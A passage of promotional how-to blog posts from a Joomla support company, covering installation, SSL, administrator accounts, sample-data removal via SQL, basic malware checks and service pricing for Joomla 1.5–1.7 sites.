To sum it up, 0.46% of all the websites in the world are powered by Joomla, and 0.99% of all the domains in the world are powered by Joomla, which makes Joomla one the most used CMSs in the whole world. So, if you’re reading this post just to make sure that you’re picking something that is used by someone else other than you, then rest assured, it is used by at least 2.3 other million individuals/companies. Now if you made your decision and you need assistance starting your Joomla website, then we’re always here to help!

1According to netcraft – see: http://news.netcraft.com/archives/2011/10/06/october-2011-web-server-survey.html
2According to pingdom – see: http://royal.pingdom.com/2011/01/12/internet-2010-in-numbers/
3The number of websites is not the same as the number of domains, since one or more websites can exist under the same domain. For example, code.google.com is a different website than earth.google.com, but both fall under the same domain name.

Is There a Joomla Customer Service Phone Number?

First time clients often ask us (during their first call) the following question: “Is there a Joomla Customer Service Number I can call?” Our answer is always as follows: “Since Joomla is free, then there is no official phone number that you can call to get support”.

Joomla support is usually handled by third party companies, such as itoctopus. The Joomla team is only responsible for fixing bugs and updating the Joomla software, they don’t fix individual websites and they don’t answer questions pertaining to the installation/maintenance of a Joomla instance on a specific website.

How come, you may ask?

Well, 1% of the world’s websites are powered by Joomla, and there are only a dozen or so developers working on the software. Imagine the amount of work that they will have if they start supporting each and every website, not to mention, that this work will be expected for free (because Joomla is free).

So who should you call for support in case your run into problems with your Joomla website?

Well, you can call us! We are trusted by our clients (who range from individuals to financial institutions), we are experts in Joomla, and we are very friendly. Not to mention, of course, that we have a 24/7/365 Joomla hotline in case of an emergency. If you don’t want to work with us (for one reason or the other), then your best option is to find another Joomla company that will help you. Here are the questions that you should ask before dealing with a Joomla support company:

  • How long have you been in business?

    Avoid companies that started yesterday – these companies may vanish into thin air tomorrow.

  • Will you be immediately available if I have another problem with my website?

    A company that takes your business seriously should always be instantly available to serve you.

  • Can I call you at 2 AM in the morning?

    Many websites experience problems during off hours – you should ensure that this company will take care of your website even in non-working hours.

  • Will I have to pay money if you were not able to fix the problem?

    Obviously you shouldn’t pay any money if they didn’t get the work done.

  • What will you do with my website credentials once you have finished the work?

    They should answer immediately that they will destroy them. If they hesitate this means that they usually leave them in their inbox, or worse, printed and thrown on a table somewhere, maybe in the conference room!

  • Can I rely on you?

    If we had a dime every time a client comes to us and tells us that the company/individual he was working with left him on his own, we’d have a fortune. Ensure that you will be dealing with a company that will not leave you on your own in the middle of the road.

Other questions to ask (this time for yourself): Do they look like they are easy to work with? Do they seem to be experts in Joomla? Will they help me achieve my goals?

So, again, there is no Joomla Customer Support Number, but there are many commercial companies that are willing to help you, you just need to make sure you’re dealing with the right people!

How to Reinstall Joomla

Sometimes, people experiment with some of their Joomla core files and/or with non-content tables in the Joomla database to the point that their websites become inoperable. The easy (well sometimes it’s not very easy) solution at this point is to reinstall Joomla from scratch. But how do you do that?

Well, here are the steps to reinstall Joomla so that you can have again, a fresh Joomla install:

  1. Backup your website and your database. We’ve already explained this before.
  2. Download the same version of Joomla that you have. Go to Joomla’s official website and download the installation files for the exact same version of Joomla that you have.

  3. Rename the directory containing your current Joomla website. Login to your FTP account and rename the directory that contains your current Joomla website to another name, for example, from mydomain.com to mydomainold.com.

  4. Re-create your old directory. Again, login to FTP and create the mydomain.com folder.

  5. Upload a fresh copy of Joomla. Upload the new Joomla copy to the mydomain.com folder.

  6. Run the Joomla installer. Ensure that you choose another database for your Joomla website.

  7. Re-download and re-install all the extensions that you previously had on your website. Note that if you had to reinstall Joomla because of an extension that you installed lately, then avoid this extension.

  8. Copy non-system content from your old database to your new database. Non system-content is user-generated content, for example, articles, polls, etc…

  9. Re-download and reinstall the template that you were using before. Even if you have modified the template, all you need to do is copy the template from the mydomainold.com folder to the mydomain.com folder.

  10. Copy user created files to your new website. Copy all the user uploaded files (including media files) from the em>mydomainold.com folder to the mydomain.com folder.

  11. You’re done. That’s it, you have finished reinstalling your Joomla website! Try to run the website!

As you can see from the above, the process can be a bit complicated especially when you don’t have some system administration experience (not to mention that the moving of the data from one database to the other can be tricky). In this case, we advise you to hire a system administrator to do the above steps or, even better, to contact us. If you do contact us, then we’ll do the whole process for you while ensuring that all your data is preserved and transferred to your new Joomla installation.

Warnings:

  • Most of the other online references listing the steps on how to reinstall Joomla are wrong. Not only they are wrong, they are dangerous, as they ignore the fact that the user has already data on his website, and that he needs to keep this data.
  • If you have had a programmer change your core Joomla files previously then stop and don’t do the above steps. You will lose all your changes. We recommend that you contact us in order to make the reinstallation smooth, or maybe fix the problems that resulted in you wanting to reinstall your Joomla website.

Is Joomla Free?

We often get the following call:

Customer: “Hi”
We: “Hi there, how can we serve you?”
Customer: “I was told that Joomla is an excellent CMS and I want to use it, but I want to know first if it’s free or not”
We: “It’s free sir!”

Then the conversation goes on, and we are asked more questions, such as “Why is it free?”, and “What’s in it for those who developed Joomla”, etc…

So, to officially answer the main question of this post, and in layman terms, Joomla is free. However, in technical terms, Joomla is licensed to be used for free, so you do not own Joomla as a product, but you have a license to use Joomla for your website for free, since Joomla is released under the GNU General Public License. A GNU GPL grants you the permission to use/modify the Joomla software for free, but if you want to release the software to the public after modifying it, then you should release it under the same license, and you should also leave the credits in the source code at all time. Let us stress the point that the software is free and must remain free, and not your website, which means that even if you’re using Joomla, your website doesn’t necessarily have to be free (which means you can charge your visitors money for just visiting your website or reading your content if you want – it’s your website, after all).

Now, why is Joomla free?

Joomla is free because it was forked out of Mambo, which was also a free CMS. But why was Mambo a free CMS? Well, because the developers behind it believed in open source and its centric contribution to the information age (and so do current Joomla creators).

But what’s in it for those who created Joomla

As stated above, Joomla creators believe in open source, so there’s a sense of satisfaction because they are giving back to the community. However, the benefits for being part of this project are not only moral… Imagine that you’re someone who worked on Joomla, a CMS platform that powers over 1% of all the websites in the world, imagine the amount of consultancy work you will have… Also imagine the prestige and the industry recognition that will be bestowed upon you. So it’s really worth it for the Joomla creators.

Now if you want to know whether Joomla is free or not because you want to install it, and if you need help installing it, then you can contact us. We’re here to help 24/7/365 (well, 366 if it’s a leap year!).

How to Remove “Powered by Joomla!” Footer?

Many of our clients come to us and ask the following 2 questions:

  1. Is it legal to remove the “Powered by Joomla!” message in the footer?
  2. If it’s legal, then how can we remove it?

To answer the first question, yes it’s perfectly legal to do so. However, it is not legal to remove the information that states that your website is powered by Joomla from the PHP source code, such as the following one:

# Copyright (C) 2005 - 2010 Open Source Matters. All rights reserved.
# License http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL, see LICENSE.php

To answer the second question, removing the “Powered by Joomla!” message is very easy as of Joomla 1.5, and here’s how to do it:

- Open the file en-GB.mod_footer.ini located under the /yourjoomlafolder/language/en_GB folder
- Locate the following line:
FOOTER_LINE2=<a href="http://www.joomla.org">Joomla!</a> is Free Software released under the <a href="http://www.gnu.org/licenses/gpl-2.0.html">GNU/GPL License.</a>
- Change it to:
FOOTER_LINE2=The HTML of your choice

That’s it!

The steps above are tested many times and should work, but if you’re having difficulty removing the “Powered by Joomla!” message from the footer of your website, then feel free to contact us, and we’ll be more than glad to help you!

How to Enable SSL on a Joomla 1.5 Website

In this article we are assuming that you have already purchased an SSL and you have installed it on your website, and all that is left for you to do is to enable it. If you need help purchasing and installing an SSL certificate on your Joomla website, then please contact us, we will definitely help you!

Listed below are the steps to enable SSL on your entire website, your administrator’s backend, and your VirtuMart shopping cart…

Enabling SSL on all of your Joomla website

The below steps will enable SSL for your entire website, so whenever someone clicks on a link it goes to https:// instead of http://

  1. Login to your website as a Super Administrator
  2. Mouse hover on “Site” on the top left
  3. Click on “Global Configuration”
  4. Click on “Server”
  5. Change the drop down box next to the field “Force SSL” from “None” to “Entire Site”.
  6. Click on “Save” on the top right

Enabling SSL for only your Administrator’s backend

When you enable SSL on your entire website, you will also enable it on your Administrator’s backend, but what if you only want to enable SSL on your administrator’s backend, leaving the rest of the website accessible through http://?

In order to do so, you have to do steps 1 to 4 above, and then choose “Administrator” from the drop down field next to “Force SSL”, and then click on “Save” on the top right.

Enabling SSL for VirtueMart

We believe that you don’t have to enable SSL for all of your website (unless your run an ultra-secure website – think about it this way, even Google does not use https:// for places that do not require you to login), just your administrator’s backend and your frontend shopping cart checkout page (if you have a shopping cart installed). Since VirtueMart is by far the most used shopping cart on Joomla, we decided to list the necessary steps on how to enable SSL for VirtueMart (if you’re using another shopping cart then we can also help you, just contact us!):

  1. Login to your website as a Super Administrator
  2. Mouse hover on “Components” on the top left
  3. Click on “VirtueMart”
  4. Click on “Configuration” in the middle of the screen
  5. Click on “Main”
  6. Choose “Yes” for “Force SSL on Checkout”
  7. Click on “Save” on the top right

Some caveats

  1. Make sure that your SSL is installed correctly if you’re having problems.
  2. If you are sure that your SSL is correctly installed, and you are having errors such as “this page contains secure and non-secure items”, then it might be that you have absolute (hard-coded) http:// links in your content. You need to change those links to https://.
  3. Again, if you’re still having problems, then it might be that your SSL certificate is installed for https://yourdomain.com and not https://www.yourdomain.com (or vice versa). If you need to use both then you need to buy and install a wildcard certificate. Otherwise you need to redirect the traffic (using .htaccess) from https://www.yourdomain.com to https://yourdomain.com (or vice versa).

Note that the above article was written for Joomla 1.5, but is easily applicable for Joomla 1.6 and Joomla 1.7.

How to Create a Super Administrator User on Joomla?

From our experience, we know that there are some misconceptions about the Joomla Super Administrator user:

  1. You can only have one Super Administrator user per Joomla website.
  2. You can not delete the Super Administrator user that was originally created.
  3. There is no interface for adding Super Administrators (this is a corollary to the point #1 above)

Now let us start debunking the above myths by saying that you can definitely have more than one Super Administrator on a Joomla website. In fact, you can have as many as you like. You can also delete the Super Administrator user that was created during the installation process by just logging as a Super Administrator, clicking on “User Manager” in the initial control panel, and then clicking on the checkbox next to the name of the administrator you wish to delete, and then clicking on “Delete” above. Note that you must have at least one Super Administrator left (after the deletion process) for the delete to work. So, if you have just one Super Administrator in your Joomla website, then you cannot delete it (Think about it – how will you be able to login as Super Administrator or create a Super Administrator if you have deleted them all?).

As for adding new Super Administrators, then here’s how you do it:

  • Login to your Joomla website as a Super Administrator.
  • Click on “User Manager” in the welcome screen.
  • Click on “New” in the top right.
  • Fill in the information, and choose Super Administrator as a Group.
  • Click on Save in the top right.

You can also change an existing user to become a Super Administrator, just click on the name of the user when you are in the User Manager page, and then choose Super Administrator, and then click on Save in the top right.

Always remember that only Super Administrators can create Super Administrators.

If you need help doing the above, or if you want, for example, to allow users to have multiple roles on your website (such as Publishers on the public front-end and Administrators on the back-end) then feel free to contact us as we can definitely help you!

Note: This post was written based on Joomla 1.5’s interface. You can still do the above on Joomla 1.6/1.7, but the interface may slightly differ.

What Are the Joomla Hourly Support Rates?

Although it is published on our fees page, some new clients ask us about our Joomla Hourly Support rates, thinking that our published rates are only for established clients. We would like to clarify this for all our prospective clients, we currently don’t have maintenance clients (clients who pay a monthly fee and will get a number of free support hours and a preferred rate for our consulting services), so our rate of $75/hour is for everyone – old clients and new clients.

Now how do we compare to the market and what is the average Joomla hourly rate?

We know that this is the Internet and we’re not alone, and there’s a lot of competition, especially in our industry. We have seen hourly rates ranging from $15/hour to about $150/hour.

We did our investigation and here’s what we found out about these rates:

  • $15/hour rates: These rates are offered by either individuals working in developing countries or by non-established companies also operating from developing countries. Either way you will run into the following problems:
    • Cheap labor: Cheap labor is always associated with cheap quality. Think about it this way, why should you charge $15/hour when others are charging $150/hour.
    • Communication issues: You will get stuck with programmers who don’t understand what you want. There’s also another thing, you are often stuck with inconvenient communication means.
    • Different timezones: You have to wake up either very early or sleep very late to be able to talk to the programmers (that is, if you can talk to them).
    • Scams: Some (if not most) of these companies/individuals ask you to pay either the full amount or a substantial part of the amount at the beginning of the project, and then either vanish into thin air or will give you only a part of what you want done.
    • No money back guarantee: When these companies take your money, they will take it, meaning that you will never see it back, even if they didn’t do the work, even if you don’t like the work, and even if the work is incomplete.
    • Security issues: These programmers won’t take good care of neither your website/CPanel credentials and nor your website security as a whole.
    • Hourly productivity is very low: When you pay $15 an hour, you should think that you are really paying at least $100/hour – this is because a day of productivity by programmers being charged at this rate is really equivalent to a maximum of 2 hours of real productivity.
  • $50/hour rates: These rates are offered by either established individuals or companies, who are also located overseas. By established we mean that the individual/company has been in business for a few years and has gathered some clients. The quality is still not that good when you go for this rate, and while hourly productivity is higher than the $15/hour rate, it still comes up to around the same thing (so you will be really paying $100/hour after all). You will also be faced by “hidden fees” (such as project management fees) and communication issues. Not to mention, of course, that programmers at this rate will not try to ensure that their code is secure.

  • $75/hour rates: These rates are the optimal rates and are typically offered by North American companies where individuals who understand your language work. Usually you will not pay any hidden fees, the quality is excellent, your website’s security is prioritized (mainly because you are dealing with Joomla security experts), and you will be guaranteed to pay the same amount of money even if the work takes longer. itoctopus goes beyond that by only asking for payment when you think the work is done and following-up with you after the work is completed.

  • $150/hour rates: We have noticed that these rates are charged by individuals (not companies) who have decided to charge double the fair rate because they always have a lot of work to do (not only that, some of these individuals also have a full-time job!). Now although these individuals are great programmers, you will end up having low quality and non-secure work because they simply have too much work and they need to accommodate everyone. Additionally, you are not able to communicate with these individuals once they think that the work is done. Finally, these programmers always make you feel that you are at their mercy and don’t appreciate you as a client.

As you can see from the above, the average hourly rate for Joomla support is around $75, and this exactly what we, at itoctopus, charge (and what we think a Joomla website owner should be paying to get excellent Joomla work). Our clients are always happy with our work and we only invoice them once the work is actually done. If you have a Joomla website and you need support, then why not contact us. We really want to work with you and help you achieve your goals with your Joomla website!

Strict Standards Error in Joomla

We had an interesting case a couple of days ago, one of our clients came to us and told us that while installing Joomla on a new server, he got the following error (multiple times):

Strict Standards: Accessing static property JCache::$_handler as non static in /web/vhosts/ourclientsdomainname.com/libraries/joomla/cache.php on line 420

It was not the first time that we saw this error (we saw it in some generic PHP code), but it was the first time we have seen it when someone was installing Joomla. So, what is this error about and how can someone go about fixing it?

First, it’s not really an error, it’s just a notice because apparently the PHP installation is using strict standards. So, in php.ini the strict standards are enabled. This is actually a good thing and it enforces some good coding practices, however, enabling strict standards can often result in problems in some legacy code.

So how can someone fix this problem?

Well, there are two ways, the hard way and the easy way. The hard way consists of someone actually going through the code and fixing each line of the code that has a problem, which is not recommended.

The easy way is to just change the warning level on the Joomla application to suppress the notices by adding the following lines to your index.php (both in the root of your website and in the administrator folder):

error_reporting(E_ALL & ~E_NOTICE);

The above line will show all errors (including warnings) with the exception of notices (again, a notice is not really an error, but from PHP’s perspective, it is).

Another easy way of doing this is changing the php.ini file, by searching for the error_reporting constant, and changing its value to E_ALL & ~E_NOTICE. So the line will be the following:

error_reporting = E_ALL & ~E_NOTICE;

If you are trying to do the above but it’s not working for you, then, as always, you can contact us, and we’ll definitely help you!

Running Multiple Websites on a Single Joomla Installation

In some rare cases, you may want to run two (or more) different websites on a single Joomla installation, so you will have different databases but same filesystem. The reason for doing so is to maintain just one Joomla installation (e.g. upgrade, secure, host, etc…) instead of two ore more. At first glance, this seems to be impossible, but for those who are experts in Joomla, it’s feasible. We are fortunate enough that we had this request several times before, and here’s how we accommodated it:

  • We copy the all the tables, and then we duplicate them in the same database with a different alias, for example, we use jos2_ instead of jos_ as the table alias for the new tables.
  • - We modify a few Joomla settings in the database (in the new created tables) based on the client’s request (for example, changing the title of the website, etc…)

  • We duplicate the configuration file. The new configuration file will be an exact copy of the original configuration.php file but with the small difference that instead of using jos_ as a table prefix it will be using jos2_ as the table prefix. We also modify the $sitename parameter, and optionally the $log_path and the $tmp_path parameters.
  • We get the current website using the $_SERVER['HTTP_HOST'] defined variable.
  • We modify the file /includes/framework.php and /administrator/includes/framework.php to point to the right configuration file based on the current website.

That’s it! Yes, it’s not impossible, but it’s very delicate and can take some time for testing and for ensuring that everything’s OK. Note, for changing the template, the user can login to a website and change the template, and that change will not affect the template of another website.

In case you are running into problems doing the above, then feel free to contact us, we are, as always, eager to help, and our fees are very reasonable…

How to Work on Your Joomla Website Offline?

At one point or the other, you may want to do some major work on your website without jeopardizing your online presence. Obviously, you can’t work on your live Joomla website, you have to work on another copy of your website and then upload it back once all the work is done. There are two ways of doing this:

  • Make a copy of your Joomla website on another directory/server and work on it there, and upload it back (data and files) once you’re done.
  • Download the Joomla website to your PC, work on it there, and then upload it back to your website.

We have explained how to move your Joomla website to another server before, so the first step is obvious. However, what if you want to work on it on a weekend, in your distant a cottage where there is no Internet connection, what will you do? In this case, your best bet is to go with the second option. However, you need to ensure you do the following in order for you to be able to work this way (Note that the below assumes that are using a Windows machine. If you have a Mac, the instructions may be similar, but not exactly the same. If you have a Linux based machine, then most likely you don’t need to read this post in the first place, you know how to do this yourself!):

  1. Install Apache for Windows on your machine. Just follow the instructions here.
  2. Install PHP for Windows on your machine. Again, you only have to follow the instructions, this time here.
  3. Install MySQL for Windows on your machine. The installation (and the download) instructions can be found here.
  4. Configure PHP to work with Apache. Normally, this will be done automatically for you by the PHP installer.
  5. Install phpMyAdmin for Windows. You can download it from here. You will then have to configure it to work with your MySQL installation.
  6. Download your website (both the files and the database).
  7. Unzip your website into your local webroot, and then import your website’s database into your local phpMyAdmin.
  8. Change the configuration file of your website to make it work on Windows (make sure you backup the old one first). The changes will mainly be related to the directory structure, for example: c:\Apache\webroot\websitename instead of /web/vhosts/websitename.
  9. Access your website by going to http://127.0.01/mywebsite and your administrator’s backend by going to http://127.0.0.1/mywebsite/administrator .
  10. Make your changes.
  11. Once you’re done with your changes, then you need to backup your files (from your local server, in other words, your machine) as well as your database (by going to your local phpMyAdmin and exporting the database)
  12. Delete all the files on your current online website and drop your online database. Note that this step will result in a downtime until the next step is completed.
  13. Upload your website and import your database (that you backed up in step #11) to your real server.

Notes:

  • Some (poorly written) extensions don’t work well under Windows, this is because the programmers who developed these extensions did not take Windows directory structure into consideration.
  • Make sure you don’t overwrite your .htaccess file that is on your real website’s server.
  • Some features, such as FTP, will need an additional server (FTP server) to work on your Windows machine.
  • If you wish to omit downtime (well, there will still be a downtime but only for a few seconds) then you need to skip the last two steps in the guide above, and do the following
    • Create another folder on the real server
    • Upload the new website there
    • Create a new database on the real server
    • Import your new database there
    • Rename your old database to something like database_old
    • Rename your new database to the name of the old database
    • Rename the folder of your old website (for example mywebsite should be called mywebsiteold)
    • Rename the folder of your new website to the old name of your old website (for example mywebsitenew should be called mywebsite)

If you need help doing the above, then feel free to contact us, we can help you install and work on your Joomla website offline either by guiding you on the phone or through Skype. As usual, we are always eager to help you!

How to Create a Custom Form in Joomla?

Custom (or dynamic) forms are forms that website owners can create themselves. Website owners usually need custom forms to create the following types of forms:

  • RSVP forms
  • Quotation/inquiry forms
  • “Tell us about you” forms
  • etc…

Unfortunately, Joomla, by default, does not offer administrators the flexibility to create their own custom forms, so what is the way to have a custom form on Joomla?

Well, fortunately, there are several ways to do so:

  • Install a Joomla extension that allows you to create custom forms. Unfortunately, all the Joomla extensions that we have installed for our clients suffer from vulnerability issues (XSS and SQL injection – which can result in the hacking of the Joomla website) so we had to secure these extensions after installing them. It usually takes us 1 day to install a custom form extension and half a day to secure it.
  • Ask a company to create a custom form extension especially for you. We are proud to say that we developed a custom form extension but we tend to customize it for every client to fit their individual needs. Our custom form extension is secure, and all your data will be saved securely on your server. This is a week’s work.

  • Ask a company to create the form itself. We also have done this. In case you don’t want to create many custom forms, and you only need to create one (without any changes to the form later on – in other words a static form) then we can create this form for you. This way you will have a form matching exactly your needs. The form will be filled by your visitors and you will receive an email containing all the details once someone fills in the form and you may optionally see the filled-in information in the backend of your website). This option will take us 2 – 3 day to do it.

  • Integrate a 3rd party custom form by subscribing to a paid service and adding a small JavaScript code to your website. This is probably the easiest solution, and will take us a maximum of 2 hours to finish (once we have the JavaScript code). However, the problem with this option is that the data is not stored on your server, so you have to go another website to see it, and your data will be stored on a shared environment, not to mention, of course, that you don’t know who has access to your stored data (all of these companies claim ultra-security and confidentiality when it comes to storing and handling your data, but you never know…)

In any case, we are always here to help you, so feel free to contact us whenever you want to create your own forms, and we’ll happily and immediately help you!

Can I Use Joomla 1.5 Templates in Joomla 1.6?

We are regularly asked by our Joomla clients whether they can use a Joomla 1.5 template in Joomla 1.6 (or Joomla 1.7, for that matter). Our immediate answer is No, but…

The reason we give this answer is because a Joomla 1.5 template work in Joomla 1.6 (or again, 1.7) is not impossible, but is not straightforward, you just can’t take a Joomla 1.5 template and try to install on a Joomla 1.6 website and expect the process to work. Some curious clients usually ask why isn’t the process straightforward, isn’t it a template after all? Well, yes it’s a template, but a template made for a different system (it’s like trying to play a VHS movie in a DVD player)…

There are some differences between templates made for Joomla 1.5 and templates made for Joomla 1.6, including (but not limited to) the following:

- Major changes in the file templateDetails.xml which includes across the board changes of the number “1.5″ to “1.6″, as well as the introduction of the concept of fieldsets and the deprecation of the params tags.
- Several changes to language files.
- Changes to how the $mainframe variable is accessed. In Joomla 1.5, it was accessed from the global pool (global $mainframe;), in Joomla 1.6, it is accessed through the JFactory class ($mainframe = JFactory::getApplication();).

So, as you can see from the above, there are many changes, but still it is possible to adapt (upgrade) a Joomla 1.5 template to make it work smoothly in Joomla 1.6 or 1.7 (although again, it is not straightforward), all you need is some programming experience. Now if you don’t have any programming experience, and if you want to upgrade to the latest version of Joomla and you need to ensure that your template still works, then don’t hesitate to contact us, we have helped many Joomla website owners so far migrate their templates from 1.5 to 1.6 (and recently to 1.7), and we’re confident we will be able to help you!

Joomla in Dubai

After the Joomla work we did in Qatar for a high profile school, we were contracted to do Joomla work for a major supermarket (that again, wanted to remain anonymous).

The work included:

- Installing a Joomla website. The latest version of Joomla was required.
- Modifying a Joomla 1.5 template to make it compatible with the 1.7 version of Joomla.
- Securing the Joomla website for PCI certification (the website passed PCI certification the day we left Dubai).
- Adding a product catalog and a shopping cart to the website, and integrating the checkout process with a payment gateway (non-PayPal).
- Connecting the product catalog to the actual physical inventory of the supermarket (The challenge that faced us here is that since the databases are connected, what will happen when a user buys a product online that was physically bought (at the same time of the online transaction) by a shopper while visiting the actual store – the solution to this problem was to connect the database to another, non-displayed inventory, a technique that provided a better accuracy of the availability of the product, but a 100% accuracy was never guaranteed).
- Alerting the user when his products are scheduled for delivery after he buys them from the website.
- Creating and sending newsletters to website subscribers.
- Automatically updating the Facebook fan page with the latest products (this took us a long time – but now we know how to do it)
- Allowing users to watch a product. When a user watches a product, he will immediately receive an email when this product is on sale.
- Allowing users to review/rate products.
- Optimizing and scaling Joomla to handle thousands of daily investors (see our post on the number of users that Joomla can handle).

We were delighted by the professionalism we received from the Dubai team working on the project; the Dubai team was really experienced and we worked together to deliver the project on time and on scope (all the requirements that were listed in the project charter were deliverd, and we met all the milestones set by the Dubai team).

Here’s what we think of Dubai:

- It is one of the most beautiful cities in the world.
- The stores there have the latest technology (yes, we are obsessed by technology).
- The people working there are very professional, and they have very high standards.
- Although Dubai is really hot, you don’t feel any heat because all the places are air-conditioned.
- We would really love to do another project there.
- Nearly everyone in Dubai speaks English, so we didn’t have any communication issues.

If you have a Joomla project in Dubai, then feel free to call our Middle Eastern office directly at +961 71 90 23 99, and we’ll take it from there!

How to Convert a WordPress Theme to a Joomla Template

Sometimes, you see a WordPress theme, and you wish there was a version for it in Joomla so you can use it on your website. You start thinking, is there an immediate way to make a WordPress theme work on a Joomla website? The straightforward answer is no. You can’t just make a few modifications and make the WordPress theme become a Joomla template. However, there is a way to convert a WordPress theme to a Joomla template…

But it’s a very tedious way, you will need to do the following:

- Forget about the PHP code of the WordPress theme altogether (e.g. PHP source files), and just go a demo of the theme and download a sample HTML page.
- You will then need to create the Joomla theme out of that sample page (this process is identical to creating a Joomla template out of an HTML mockup – which is how all templates are created). Creating Joomla templates is not a piece of cake, and it involves a lot of hard work.
- You may need some PSD documents in order to cut/re-create some images.

Although the above consists of 3 steps, these steps are not simple at all. Just think of it as creating a new Joomla theme, because it will take you nearly the same amount of time to do a theme from scratch.

At itoctopus, we currently don’t provide design services, however, we can convert a WordPress theme to a Joomla template. This is a process that takes a maximum of 3 days (depending on the complexity of the theme). If you have a WordPress theme and you want it converted to a Joomla template and you don’t want to do the work yourself, then feel free to contact us, we’re always there and glad to help!

How to Remove Sample Data in Joomla

Every now and then, we have clients asking us how to remove the sample data in Joomla. The sample data is the data that the Joomla installer loads into your website during the installation process (note that the Joomla installer asks for your permission to do this).

In any case, there are two ways to do this, one is by just deleting the articles and other data (such as polls and weblinks) manually (which is a tedious process), and the other way is by deleting the sample data using phpMyAdmin.

Before you start: Make sure you backup your Joomla website and download the backup to your PC. Backup instructions are explained in this article on moving your Joomla website from one server to the other. Also make sure you don’t perform any of the below if you have real data on your website, other than the Joomla sample data.

Option 1: Deleting sample data from the backend

Again, this is a tedious and ugly process. What you need to do is the following:

  • Login to Joomla’s backend using a super administrator’s username and password.
  • Click on “Article Manager”, select all articles and click on “Trash” above.
  • Click on “Front Page Manager”, select all items and click on “Remove” above.
  • Click on “Section Manager”, select all items and click on “Delete” above.
  • Click on “Category Manager”, select all items and click on “Delete” above.
  • Click on “Menu Manager”, and delete all menus with the exception of the menu called “Main Menu”.
  • Click on “Components”->”Banners”, select all items and click on “Delete” above.
  • Click on “Components”->”News feeds”->”Feeds”, select all items and click on “Delete” above.
  • Click on “Components”->”News feeds”->”Categories”, select all items and click on “Delete” above.
  • Click on “Components”->”Polls”, select all items and click on “Delete” above.
  • Click on “Components”->”Web links”->”Links”, select all items and click on “Delete” above.
  • Click on “Components”->”Web links”->”Categories”, select all items and click on “Delete” above.
  • Click on “Extensions”->”Module Manager”->”Categories”, select items that have an id > 15 and click on “Delete” above.

Option 2: Deleting sample data from the phpMyAdmin

This is the easiest and the most efficient way, and it literally takes seconds, but the caveat is that you need to have access to phpMyAdmin:

- Login to phpMyAdmin.
- Backup the database by clicking on the database name in the left panel, and then click on “Export” at the top, and then follow the instructions (we know that we have already downloaded the backup, but this is just to be on the safe side).
- Once you have downloaded the database, click on SQL on the top, paste the following into the large textarea, and then click on “Go”:

TRUNCATE TABLE `jos_weblinks`;
TRUNCATE TABLE `jos_sections`;
TRUNCATE TABLE `jos_polls`;
TRUNCATE TABLE `jos_poll_data`;
TRUNCATE TABLE `jos_poll_date`;
TRUNCATE TABLE `jos_newsfeeds`;
DELETE FROM `jos_modules_menu` WHERE `moduleid` != 1 AND `menuid` != 0;
DELETE FROM `jos_modules` WHERE `id` > 15;
DELETE FROM `jos_menu_types` WHERE `id` > 1;
DELETE FROM `jos_menu` WHERE `id` > 1;
TRUNCATE TABLE `jos_content_frontpage`;
TRUNCATE TABLE `jos_content`;
TRUNCATE TABLE `jos_contact_details`;
TRUNCATE TABLE `jos_categories`;
TRUNCATE TABLE `jos_bannerclient`;
TRUNCATE TABLE `jos_banner`;

Substitute jos with the prefix of your website in case you changed it during the installation process (most of the times you don’t need to change anything in the script above).

That’s it!

If you encounter any problems during this process, then feel free to contact us, we will be more than glad to help you, we are also very fast and our fees are very reasonable!

How to Know that Your Joomla Website Is Virus Free?

Those who are experienced in website development and SEO know that when a website gets a virus, it will be deindexed (or at best lowered in rankings) if the virus remains for a long time, or, if the issue is transient, then new pages will no longer be indexed. Of course, search engines will forgive you when your website becomes clean again, but forgiveness sometimes can take a long time especially if you don’t fix the issue in a timely manner.

So, how do you know that your Joomla website is virus free?

Well, the first thing to do is to run online virus scans regularly on your website. There are many free tools on the Internet for doing this, AVG has one and there’s another one called Virus Total (we haven’t used the latter though, and that’s why we’re not linking to it).

Now if you have some very basic programming/system administration knowledge, you can do the following:

- Launch your website and click on “View Page Source” (in Firefox) and see if you can find any alien code. This “alien code” is usually JavaScript code in a hash format.
- Check your .htaccess file for malicious redirects (see here for a case of a hacked .htaccess file). If you find some weird code then revert to a backup file immediately or contact us and we’ll get this solved for you.
- Open index.php in the root folder of your website (through FTP or sFTP or FTPs) to see if there’s some malicious code inserted into the file.
- Do the same for all your template files (all the .php files located in your template directory).

It’s very important to do the above steps regularly, say once a week, and to keep your Joomla website always up-to-date. If you find a virus on your website, then call us instead of trying to remove it by yourself (in many cases the virus is present in different forms on the website and in different places). We’ll fix it for you, promise!

Joomla for Law Firms

Many of our customers are small to medium law firms, who want to expand or create their presence on the Internet. In the first case, our customers just want to expand their Joomla website to include features such as powerful newsletters or social networking. In the latter case, the customers don’t have a website yet, but they have already chosen the design, so we just create a new Joomla website for them, and we help them fill in the content, we also teach them how to use Joomla on their own.

Typically, the website of a law firm consists of the following:

- A homepage: The homepage consists of a short bio about the firm.
- Firm Overview: More detailed information about the firm.
- Attorney Profiles: The profile of each and every attorney working in the company (can be all on one page, or can be each on an individual page)
- Practice Areas: A page consisting of sub-pages each explaining a different practice area of the law firm.
- FAQ: A page containing some Q&A on legal issues (for example, slip & fall).
- Contact Us: A detailed contact us page, containing the full address, the phone numbers/the fax numbers/the emails, and a contact us form.
- Other pages such as privacy policy, legal/disclaimer, and sitemap.

Note that the basic contact information (such as the phone number) is present on every page.

So, now that we’ve listed the pages, what are the features that a law firms asks for its Joomla website to have? Well, in no particular order, here they are:

- Ability to have a form for clients to contact the law firm through.
- Ability to allow people to print pages on the website.
- Ability to send newsletters to their customers.
- Ability to see the traffic data (including search queries) coming to the website.

Some customers also ask for the below features:

- Ability to search on their websites.
- Ability to have a blog.
- Ability to create custom forms.
- Ability to integrate their website with social networks such as Twitter and Facebook.

If you have a law firm, and you want to create a Joomla website or upgrade your Joomla website, then feel free to contact us. We have helped many lawyers create/expand their online presence, and we are confident that we can help you as well!

Joomla Outsourcing

In this article, we will discuss outsourcing for Joomla websites, its advantages and disadvantages. We will also conclude on whether or not you should outsource your Joomla development.

Outsourcing means having someone do the programming work for you, even if you have some programming experience, typically for a cheaper price. Outsourcing, in all of its forms, exists now for more than a couple of decades, and is being used by many companies, regardless of their size or the size of their projects..

Since many websites (over 1% of the websites in the whole world) are powered by Joomla, it is natural that outsourcing becomes a hot topic a Joomla, but is it a good thing? And what are its advantages and disadvantages?

The disadvantages of outsourcing in Joomla are very similar to the disadvantages of outsourcing in general, and they are:

